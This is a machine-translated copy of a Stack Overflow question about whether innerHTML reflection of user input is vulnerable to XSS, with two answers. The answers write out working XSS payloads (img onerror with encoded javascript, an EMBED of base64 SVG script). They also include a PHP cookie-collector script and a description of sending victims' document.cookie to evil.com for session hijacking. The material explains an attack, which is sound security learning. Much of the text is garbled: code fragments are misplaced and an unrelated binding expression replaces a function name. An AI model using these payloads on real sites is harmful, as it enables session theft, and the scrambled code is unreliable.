在页面

时间:2018-07-16 03:25:37

标签: javascript html security xss

我试图弄清楚下面的代码有什么问题,以及我可以做些什么。没有GET请求,没有动态url(是否有数据url计数?),我不在任何地方使用eval()等。我真正了解的唯一一件事是,我应该转义诸如< ,>和&等。但是我看到的例子显示了为什么这是概念验证演示中的重要一步(其中,人们可能会输入脚本标签并从不良库中导入代码或同样危险的内容) )无法正常工作。因此,我很难目睹其重要性。

我正在做两件事:

  1. 以某种方式将用户输入反映回页面
  2. 使用用户输入使文件可供下载

问题1:不安全吗?不是一般的,而是我编写的特定代码。如果是这样的话:

问题2:能否向我展示至少有一种方法可以在2018年下半年在任何现代浏览器中利用下面的代码?

html:

<input id='myInput' value='bob'></input>
<button id='myButton'></button>
<p id='myOutput'></p>

javascript:

var buttonEl = document.getElementById('myButton');
buttonEl.addEventListener('click', function() {
 var input = document.getElementById('myInput').value;
 doSomethingThenExportAsTextFile(input);
});

function doSomethingThenExportAsTextFile(x) {
 document.getElementById('myOutput').innerHTML = x;
 var a = document.createElement('a');
 a.setAttribute('href', 'data:text/plain;charset=utf-8,' + encodeURIComponent(x));
 a.download = 'fileName.txt';
 document.body.appendChild(a);
 a.click();
 document.body.removeChild(a);
}

如果我键入<u>bob</u>之类的字词,那么正如我所期望的那样,带下划线的名称'bob'出现在我的p标签中。如果我将innerHTML替换为textContentdocument.createTextNode(),那么我就不会遇到这个问题。 足够安全吗?

我不知道以前如何,但是如果我在输入中的脚本标签内键入代码,则不会发生任何事情(在chrome中)。 Chrome正在执行某些操作吗?我该怎么做才能看到上述代码中完全没有任何安全措施的影响?

由于encodeURIComponent(),我假设下载的文本文件tho会准确读取我键入的内容。

编辑

我认为这个问题的后半部分更为重要,因为我所读到的有关该主题的所有内容都表明我编写的代码不是安全代码。

此外,我建议此处提供的解决方案:Is createTextNode completely safe from HTML injection & XSS?与我正在寻找的解决方案有所不同,因为考虑的利用方法使用了php,它可以中断类似document.createTextNode()的东西。这不适用于我的情况。

2 个答案:

答案 0 :(得分:1)

恐怕.innerHTML 不是针对XSS的适当保护;任何允许用户将原始HTML输出到DOM的东西都容易受到XSS的影响。这包括您上面的代码。

例如,您可以通过将以下内容提交到onerror中来利用<img>的{​​{1}}属性来强制加载嵌入式<script>

<input>

或者,如果您想变得讨厌,可以将<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041"> 标签强制加载到嵌入式<script>
中(感谢<svg>):

AllowScriptAccess

以上两种情况都会在最新版本的Chrome和Firefox中引发“ XSS”警报。

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIyMDAiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhTUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED> / .textContent()仅接受原始的文本(不接受HTML),因此在这种情况下安全是安全的,假设您没有任何允许最终用户注入服务器端代码的服务器端错误配置。

答案 1 :(得分:0)

为了保护自己免受XSS攻击,您需要正确清理所有输入。

任何来自PHP应用程序并反映在页面上的输入都应使用ItemsSouce="{Binding tabcontrolitems}"函数进行清理。这会将字符打印为文本。

您正在向我们展示的当前XSS将是自我XSS(因为它是使用JavaScript完成的,实际上攻击者无法用这种方式伤害用户。正确清除它仍然很重要,这是一种清除代码的方法。使用JavaScript是将其放在htmlspecialchars($input)标记中,该标记与上述PHP函数大致相同。这是使用HTML进行清理的一种简单方法。应该注意,这些标记现在已经过时了,但是它似乎仍然可以在我测试过的所有浏览器中使用。

就XSS攻击的例子而言,确实存在两个主要问题。首先是持久性XSS,可以将攻击存储在数据库中,然后在用户每次访问时将其反映到页面上。假设您使用的是纯JavaScript应用程序(没有数据库),那么这对您来说实际上不是问题。持久XSS攻击非常独特的一个问题是整个页面的污损,因此恶意代码会隐藏页面上的所有内容(使用JS / CSS),然后注入自己的页面源。

XSS的最大问题是会话窃取。同样,在您的情况下,这不是什么大问题,因为您没有数据库,因此您可能没有任何会话(cookie)。当用户使用<xmp>访问页面时,JavaScript可以轻松地抓住他们的cookie。然后,恶意攻击者所需要做的就是将这些信息发送给自己。一种简单的方法是使用包含以下内容的PHP文件创建一个网站:

document.cookie

因此,他们需要注入到页面上的javascript有效负载将是: <?php //If ?cookies= param is set... if(isset($_GET['cookies'])){ //Save cookies as $cookies variable... $cookies = $_GET['cookies']; //From here we can save their cookies to the server. } ?> 然后,它们会将它们重定向到攻击者的网站(evil.com)和我们在上面创建的PHP脚本(cookiescript.php),然后将cookie参数的值设置为用户所重定向到的站点的cookie。 >

然后,攻击者可以将其cookie复制到他的浏览器中,访问网站并劫持用户的会话。